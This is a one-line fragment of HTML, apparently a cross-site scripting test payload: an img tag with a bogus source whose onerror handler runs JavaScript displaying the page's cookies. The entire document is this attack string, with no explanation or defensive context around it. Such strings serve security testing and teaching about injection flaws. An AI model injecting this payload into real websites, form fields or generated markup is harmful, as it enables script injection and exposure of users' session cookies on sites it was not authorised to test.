img src="x" onerror="alert(document.cookie);">